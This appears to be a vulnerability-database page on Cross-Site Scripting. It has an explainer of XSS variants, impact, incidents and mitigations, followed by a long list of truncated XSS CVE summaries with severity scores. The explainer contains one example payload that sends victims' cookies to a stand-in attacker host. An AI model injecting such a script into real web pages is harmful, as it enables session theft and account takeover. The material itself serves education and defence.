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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39348)

EPSS 10% CVSS 4.3
MEDIUM POC PATCH THREAT This Month

Cross-site scripting (XSS) vulnerability in open-flash-chart.swf in Open Flash Chart (aka Open-Flash Chart), as used in the Pretty Link Lite plugin before 1.6.3 for WordPress, JNews (com_jnews). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and EPSS exploitation probability 10.3%.

XSS WordPress Prettylinks +2
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in XHProf before 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the run parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Xhprof
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in (1) spamProtect.py, (2) pts.py, and (3) request.py in Plone 2.1 through 4.1, 4.2.x through 4.2.5, and 4.3.x through 4.3.1 allow remote attackers. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Plone
NVD VulDB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in admin/templates/default.php in Batavi 1.2.2 allows remote attackers to inject arbitrary web script or HTML via the QUERY_STRING to admin/index.php. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS PHP Batavi
NVD Exploit-DB VulDB
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in index.php in Aker Secure Mail Gateway 2.5.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the msg_id parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS PHP Secure Mail Gateway
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the user interface in the AAA TM vServer in Citrix NetScaler Application Delivery Controller (ADC) 9.3.x before 9.3-64.4, 10.0 before 10.0-77.5, and 10.1. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Citrix Netscaler Application Delivery Controller Firmware
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in the Thank You Counter Button plugin 1.8.7 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD VulDB
EPSS 5% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in Ilch CMS 2.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the text parameter to index.php/guestbook/index/newentry. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS PHP Ilch Cms
NVD Exploit-DB GitHub VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the SFR Box router with firmware NB6-MAIN-R3.3.4 allow remote attackers to inject arbitrary web script or HTML via unspecified parameters to (1). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Sfr Box Router Firmware Sfr Box Router
NVD VulDB
EPSS 5% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in SpagoBI before 4.1 allows remote authenticated users to inject arbitrary web script or HTML via the Description field in the "Short document metadata.". Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Spagobi
NVD Exploit-DB VulDB
EPSS 1% CVSS 3.5
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in SpagoBI before 4.1 allows remote authenticated users to inject arbitrary web script or HTML via a document note in the execution page. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Spagobi
NVD Exploit-DB VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the administration page in Airvana HubBub C1-600-RT and Sprint AIRAVE 2.5 allows remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Hubbub C1 600 Rt Airave Software +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in ownCloud Server before 5.0.1 allow remote attackers to inject arbitrary web script or HTML via the (1) new_name parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS PHP Owncloud
NVD VulDB
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in the VideoWhisper Live Streaming Integration plugin before 4.29.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS WordPress PHP +2
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the web client in Serena Dimensions CM 12.2 build 7.199.0 allow remote attackers to inject arbitrary web script or HTML via the (1) DB_CONN, (2). Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Dimensions Cm
NVD VulDB
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM InfoSphere Enterprise Records 4.5.1 before 4.5.1.7-IER-IF001 and Enterprise Records 5.1.1 before 5.1.1.1-IER-IF003 allows remote authenticated users to. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Enterprise Records +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in Askbot before 0.7.49 allows remote attackers to inject arbitrary web script or HTML via vectors related to the question search form. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Askbot
NVD VulDB GitHub
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in Askbot before 0.7.49 allow remote attackers to inject arbitrary web script or HTML via vectors related to the (1) tag or (2) user search forms. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Askbot
NVD VulDB GitHub
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Algo One
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Rational Requirements Composer 3.x before 3.0.1.6 iFix2 and 4.x before 4.0.6, and Rational DOORS Next Generation 4.x before 4.0.6, allows remote. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Rational Doors Next Generation +1
NVD
EPSS 0% CVSS 2.1
LOW POC Monitor

Multiple cross-site scripting (XSS) vulnerabilities in the (1) callback_multicheck, (2) callback_radio, and (3) callback_wysiwygin functions in mfrh_class.settings-api.php in the Media File Renamer. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress PHP XSS +1
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Upload/search.php in MyBB 1.6.12 and earlier allows remote attackers to inject arbitrary web script or HTML via the keywords parameter in a do_search. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Mybb
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the security log in the BulletProof Security plugin before .49 for WordPress allow remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

WordPress PHP XSS +1
NVD
EPSS 3% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the CommentLuv plugin before 2.92.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the _ajax_nonce parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress PHP XSS +1
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in lib/filemanager/ImageManager/editorFrame.php in CMS Made Simple 1.11.10 allows remote attackers to inject arbitrary web script or HTML via the action. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Cms Made Simple
NVD
EPSS 1% CVSS 3.5
LOW POC Monitor

Cross-site scripting (XSS) vulnerability in mods/_standard/forums/admin/forum_add.php in ATutor 2.1.1 allows remote authenticated administrators to inject arbitrary web script or HTML via the title. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Atutor
NVD Exploit-DB
EPSS 1% CVSS 3.5
LOW POC Monitor

Multiple cross-site scripting (XSS) vulnerabilities in ilias.php in ILIAS 4.4.1 allow remote authenticated users to inject arbitrary web script or HTML via the (1) tar, (2) tar_val, or (3) title. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Ilias
NVD Exploit-DB
EPSS 1% CVSS 3.5
LOW POC Monitor

Multiple cross-site scripting (XSS) vulnerabilities in CMS Made Simple allow remote authenticated users to inject arbitrary web script or HTML via (1) the group parameter to admin/addgroup.php, (2). Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Cms Made Simple
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the formatHTML function in includes/api/ApiFormatBase.php in MediaWiki before 1.19.12, 1.20.x and 1.21.x before 1.21.6, and 1.22.x before 1.22.3 allows. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

PHP XSS Mediawiki
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

includes/upload/UploadBase.php in MediaWiki before 1.19.12, 1.20.x and 1.21.x before 1.21.6, and 1.22.x before 1.22.3 does not prevent use of invalid namespaces in SVG files, which allows remote. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Mediawiki
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the Business Voice Services Manager (BVSM) page in Cisco Unified Communications Domain Manager 9.0(.1) allow remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Cisco XSS Unified Communications Domain Manager
NVD
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in manager/templates/default/header.tpl in ModX Revolution before 2.2.11 allows remote attackers to inject arbitrary web script or HTML via the "a" parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available.

XSS Modx Revolution
NVD GitHub
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in java/hudson/model/Cause.java in Jenkins before 1.551 and LTS before 1.532.2 allows remote authenticated users to inject arbitrary web script or HTML via a. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

Java Jenkins XSS
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the BuddyPress plugin before 1.9.2 for WordPress allows remote authenticated users to inject arbitrary web script or HTML via the name field to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS Buddypress
NVD
EPSS 4% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Open Ticket Request System (OTRS) 3.1.x before 3.1.20, 3.2.x before 3.2.15, and 3.3.x before 3.3.5 allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Otrs
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the login page in Open Web Analytics (OWA) before 1.5.6 allows remote attackers to inject arbitrary web script or HTML via the owa_user_id parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Open Web Analytics
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in IBM Content Navigator 2.x before 2.0.2.2-ICN-FP002 allows remote authenticated users to inject arbitrary web script or HTML via an unspecified parameter. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Content Navigator
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the API in synetics i-doit pro before 1.2.5 allows remote attackers to inject arbitrary web script or HTML via a property title. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS I Doit
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in xhr.php in InterWorx Web Control Panel (aka InterWorx Hosting Control Panel and InterWorx-CP) before 5.0.13 build 574 allows remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Web Control Panel
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in controlpanel/loading.aspx in Telligent Evolution before 6.1.19.36103, 7.x before 7.1.12.36162, 7.5.x, and 7.6.x before 7.6.7.36651 allows remote attackers. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Evolution
NVD
EPSS 0% CVSS 2.6
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in the link-to helper in Ember.js 1.2.x before 1.2.2, 1.3.x before 1.3.2, and 1.4.x before 1.4.0-beta.6, when used in non-block form, allows remote attackers. Rated low severity (CVSS 2.6), this vulnerability is remotely exploitable.

XSS Ember Js
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the XooNIps module 3.47 and earlier for XOOPS allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Xoonips
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Multiple cross-site scripting (XSS) vulnerabilities in the (1) ForwardController and (2) AttributeEditor scripts in IBM Rational Focal Point 6.4.x and 6.5.x before 6.5.2.3 and 6.6.x before 6.6.1. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

IBM XSS Rational Focal Point
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in IBM Rational Focal Point 6.4.x and 6.5.x before 6.5.2.3 and 6.6.x before 6.6.1 allows remote authenticated users to inject arbitrary web script or HTML by. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

IBM XSS Rational Focal Point
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Multiple cross-site scripting (XSS) vulnerabilities in IBM Rational Focal Point 6.4.x and 6.5.x before 6.5.2.3 and 6.6.x before 6.6.1 allow remote authenticated users to inject arbitrary web script. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

IBM XSS Rational Focal Point
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the site creation interface in ikiwiki-hosting before 0.20131025 allow remote attackers to inject arbitrary web script or HTML via unspecified. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Ikiwiki Hosting
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

core/html/parser/XSSAuditor.cpp in the XSS auditor in Blink, as used in Google Chrome before 33.0.1750.117, inserts the about:blank URL during certain blocking of FORM elements within HTTP requests,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity.

Privilege Escalation Google XSS +1
NVD
EPSS 0% CVSS 5.0
MEDIUM PATCH This Month

The XSSAuditor::init function in core/html/parser/XSSAuditor.cpp in the XSS auditor in Blink, as used in Google Chrome before 33.0.1750.117, processes POST requests by using the body of a redirecting. Rated medium severity (CVSS 5.0), this vulnerability is remotely exploitable, low attack complexity. This Exposure of Sensitive Information vulnerability could allow attackers to access sensitive data that should not be disclosed.

Information Disclosure Google XSS +1
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

Multiple cross-site request forgery (CSRF) vulnerabilities in HP Service Manager 9.30, 9.31, 9.32, and 9.33 allow remote attackers to hijack the authentication of unspecified victims for requests. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable. No vendor patch available.

CSRF XSS HP +2
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in the server in IBM Cognos Business Intelligence (BI) 8.4.1, 10.1 before IF6, 10.1.1 before IF5, 10.2 before IF7, 10.2.1 before IF4, and 10.2.1.1 before IF4. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Cognos Business Intelligence
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Blackboard Vista/CE 8.0 SP6 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS Vista Ce
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the server in IBM Cognos Business Intelligence (BI) 8.4.1, 10.1 before IF6, 10.1.1 before IF5, 10.2 before IF7, 10.2.1 before IF4, and 10.2.1.1 before IF4. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Cognos Business Intelligence
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in import.php in phpMyAdmin before 4.1.7 allows remote authenticated users to inject arbitrary web script or HTML via a crafted filename in an import action. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Phpmyadmin
NVD GitHub
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Rails Ruby On Rails +3
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the IP Manager Assistant (IPMA) interface in Cisco Unified Communications Manager (Unified CM) 10.0(1) and earlier allows remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Cisco XSS Unified Communications Manager
NVD
EPSS 1% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Mozilla Thunderbird 17.x through 17.0.8, Thunderbird ESR 17.x through 17.0.10, and SeaMonkey before 2.20 allows user-assisted remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Mozilla XSS Thunderbird Esr +2
NVD
EPSS 48% CVSS 4.3
MEDIUM POC THREAT This Month

Cross-site scripting (XSS) vulnerability in Mozilla Thunderbird 17.x through 17.0.8, Thunderbird ESR 17.x through 17.0.10, and SeaMonkey before 2.20 allows user-assisted remote attackers to inject. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and EPSS exploitation probability 47.5%.

Mozilla XSS Seamonkey +2
NVD Exploit-DB
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in the API in Ubuntu Metal as a Service (MaaS) 1.2 and 1.4 allows remote attackers to inject arbitrary web script or HTML via the op parameter to nodes/. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

Ubuntu XSS Metal As A Service
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in vTiger CRM 5.4.0 allows remote attackers to inject arbitrary web script or HTML via the (1) return_url parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

PHP XSS Vtiger Crm
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in the web based operator client in LiveZilla before 5.1.2.1 allow remote attackers to inject arbitrary web script or HTML via the (1) name of an. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Livezilla
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Bean module 7.x-1.x before 7.x-1.5 for Drupal allows remote attackers to inject arbitrary web script or HTML via the bean title. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Bean
NVD
EPSS 1% CVSS 4.3
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in phpMyFAQ before 2.8.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

XSS Phpmyfaq
NVD
EPSS 2% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in mainPage in Dell SonicWALL GMS before 7.1 SP2, SonicWALL Analyzer before 7.1 SP2, and SonicWALL UMA E5000 before 7.1 SP2 might allow remote attackers to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Dell Sonicwall XSS +2
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in ISpeakAdapter in the Integration Repository in the SAP Exchange Infrastructure (BC-XI) component 3.0, 7.00 through 7.02, and 7.10 through 7.11 for SAP. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

SAP Microsoft XSS +1
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Integration Repository in the SAP Exchange Infrastructure (BC-XI) component in SAP NetWeaver allows remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

SAP Microsoft XSS +2
NVD
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allow remote attackers to inject arbitrary web script or HTML via the (1) whereCriteria. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable.

Red Hat XSS Satellite +4
NVD
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Cross-site scripting (XSS) vulnerability in account/EditAddress.do in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allows remote attackers to inject arbitrary web script or HTML via the type. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable.

Red Hat XSS Satellite
NVD
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

Multiple cross-site scripting (XSS) vulnerabilities in systems/sdc/notes.jsp in Spacewalk and Red Hat Network (RHN) Satellite 5.6 allow remote attackers to inject arbitrary web script or HTML via the. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. Public exploit code available.

Red Hat XSS Satellite +2
NVD
EPSS 0% CVSS 3.5
LOW Monitor

Cross-site scripting (XSS) vulnerability in the Meeting Server in IBM Sametime 8.5.2 through 8.5.2.1 and 9.x through 9.0.0.1 allows remote authenticated users to inject arbitrary web script or HTML. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Sametime
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in IBM Connections Portlets 4.x before 4.5.1 FP1 for IBM WebSphere Portal 7.0.0.2 and 8.0.0.1 allow remote attackers to inject arbitrary web script. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

IBM XSS Connections Portlets
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the IP Manager Assistant (IPMA) interface in Cisco Unified Communications Manager (UCM) allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

Cisco XSS Unified Communications Manager
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Atmail Webmail Server 6.6.x before 6.6.3 and 7.0.x before 7.0.3 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Atmail
NVD
EPSS 1% CVSS 4.3
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in Atmail Webmail Server 7.0.2 allow remote attackers to inject arbitrary web script or HTML via the (1) filter parameter to. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP XSS Atmail
NVD Exploit-DB
EPSS 1% CVSS 4.3
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in synetics i-doit pro before 1.2.4 allows remote attackers to inject arbitrary web script or HTML via the call parameter. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable. No vendor patch available.

XSS I Doit
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

